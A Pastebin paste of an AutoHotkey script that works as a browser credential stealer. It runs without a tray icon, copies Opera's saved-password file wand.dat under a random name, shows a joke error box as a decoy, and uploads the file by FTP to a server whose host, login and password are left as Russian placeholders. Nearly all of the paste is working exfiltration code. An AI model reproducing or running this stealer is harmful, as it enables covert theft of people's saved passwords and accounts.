Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #NoTrayIcon
- Server = хост
- Port = 21
- User = логин
- Pwd = пасс
- Random, rand, 0, 10000000
- FileCopy, %appdata%\Opera\Opera\wand.dat, %appdata%\Opera\Opera\%rand%.wand.dat
- LocalFile = %appdata%\Opera\Opera\%rand%.wand.dat
- MsgBox, Ошибка, такие дела. Понимаешь?
- Directory1 = дерикт
- Directory2 = дериктор
- IfNotExist, %LocalFile%
- {
- MsgBox, Ошибка! Галактика в опасности!
- Exit, 1
- }
- if (not INetStart())
- {
- MsgBox, Failed to initialize.
- Exit, 1
- }
- hConnection := INetConnect(Server, Port, User, Pwd, "ftp", 1)
- if (hConnection)
- {
- Error = 0
- if (not UploadFile(hConnection, Directory1, LocalFile))
- Error = 1
- if (not UploadFile(hConnection, Directory2, LocalFile))
- Error = 1
- INetCloseHandle(hConnection)
- INetStop()
- Exit, Error
- }
- else
- {
- MsgBox, Failed to create a connection to the FTP server.
- INetStop()
- Exit, 1
- }
- UploadFile(hConnection, Directory, LocalFile)
- {
- if (ChangeDirectory(hConnection, Directory))
- {
- SplitPath, LocalFile, RemoteFile
- if (FtpPutFile(hConnection, LocalFile, RemoteFile))
- {
- Return, true
- }
- else
- {
- MsgBox, Cannot upload file into %Directory%.
- Return, false
- }
- }
- else
- {
- MsgBox, Could not create or change to remote directory %Directory%.
- Return, false
- }
- }
- ChangeDirectory(hConnection, Directory)
- {
- if (FtpSetCurrentDirectory(hConnection, Directory))
- {
- Return, true
- }
- else
- {
- if (FtpCreateDirectory(hConnection, Directory))
- {
- if (FtpSetCurrentDirectory(hConnection, Directory))
- {
- Return, true
- }
- else
- {
- MsgBox, Cannot change to remote directory %Directory%.
- Return, false
- }
- }
- else
- {
- MsgBox, Cannot create remote directory %Directory%.
- Return, false
- }
- MsgBox, Cannot change to remote directory %Directory%.
- Return, false
- }
- }
- INetStart(Proxy="", ProxyBypass="", Agent="")
- {
- global
- ; get a handle to the WinINet library
- inet_hModule := DllCall("LoadLibrary", "str", "wininet.dll")
- if(!inet_hModule) {
- inet_hModule = 0
- return false
- }
- ; INTERNET_OPEN_TYPE_PRECONFIG 0 // use registry configuration
- ; INTERNET_OPEN_TYPE_DIRECT 1 // direct to net
- ; INTERNET_OPEN_TYPE_PROXY 3 // via named proxy
- ; INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY 4 // prevent using java/script/INS
- inet_hInternet := DllCall("wininet\InternetOpenA"
- , "str", (Agent != "" ? Agent : A_ScriptName)
- , "UInt", (Proxy != "" ? 3 : 1)
- , "str", Proxy
- , "str", ProxyBypass
- , "UInt", 0)
- If(!inet_hInternet) {
- INetCloseHandle(inet_hModule)
- return false
- }
- return true
- }
- INetStop()
- {
- global
- INetCloseHandle(inet_hInternet)
- DllCall("FreeLibrary", "UInt", inet_hModule)
- inet_hModule = inet_hInternet = 0
- }
- INetCloseHandle(hInternet)
- {
- return DllCall("wininet\InternetCloseHandle", "UInt", hInternet)
- }
- INetConnect(Server, Port, Username="anonymous", Password="anonymous", Service="http", FtpPassive=0)
- {
- global inet_hInternet
- hConnection := DllCall("wininet\InternetConnectA"
- , "uint", inet_hInternet
- , "str", Server
- , "uint", Port
- , "str", Username
- , "str", Password
- , "uint", (Service = "ftp" ? 1 : (Service = "gopher" ? 2 : 3)) ; INTERNET_SERVICE_xxx
- , "uint", (FtpPassive != 0 ? 0x08000000 : 0) ; INTERNET_FLAG_PASSIVE
- , "uint", 0)
- return hConnection
- }
- FtpCreateDirectory(hConnection, Directory)
- {
- return DllCall("wininet\FtpCreateDirectoryA", "uint", hConnection, "str", Directory)
- }
- FtpSetCurrentDirectory(hConnection, Directory)
- {
- return DllCall("wininet\FtpSetCurrentDirectoryA", "uint", hConnection, "str", Directory)
- }
- FtpGetCurrentDirectory(hConnection, ByRef @Directory)
- {
- len := 261 ; MAX_PATH 260
- VarSetCapacity(@Directory, len)
- result := DllCall("wininet\FtpGetCurrentDirectoryA", "uint", hConnection, "str", @Directory, "uint*", len)
- VarSetCapacity(@Directory, -1)
- return result
- }
- FtpPutFile(hConnection, LocalFile, RemoteFile="", TransferType="B")
- {
- return DllCall("wininet\FtpPutFileA"
- , "uint", hConnection
- , "str", LocalFile
- , "str", (RemoteFile != "" ? RemoteFile : LocalFile)
- , "uint", (TransferType == "A" ? 1 : 2) ; FTP_TRANSFER_TYPE_ASCII or FTP_TRANSFER_TYPE_BINARY
- , "uint", 0)
- }
- FtpDeleteFile(hConnection, File)
- {
- return DllCall("wininet\FtpDeleteFileA", "uint", hConnection, "str", File)
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement